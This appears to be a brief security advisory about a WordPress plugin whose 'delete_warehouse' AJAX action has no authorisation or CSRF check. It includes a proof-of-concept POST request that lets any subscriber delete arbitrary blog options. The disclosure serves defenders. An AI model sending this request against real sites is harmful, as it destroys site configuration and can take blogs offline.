The plugin does not have authorisation and Cross-Site Request Forgery (CSRF) check in an AJAX action, which could allow any authenticated users, such as subscriber to delete arbitrary options from the blog, which could make the blog unavailable.
Proof of Concept
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
action=delete_warehouse&option_id=4
The exploit deletes the blog options with ID 4 (usually the blogdescription).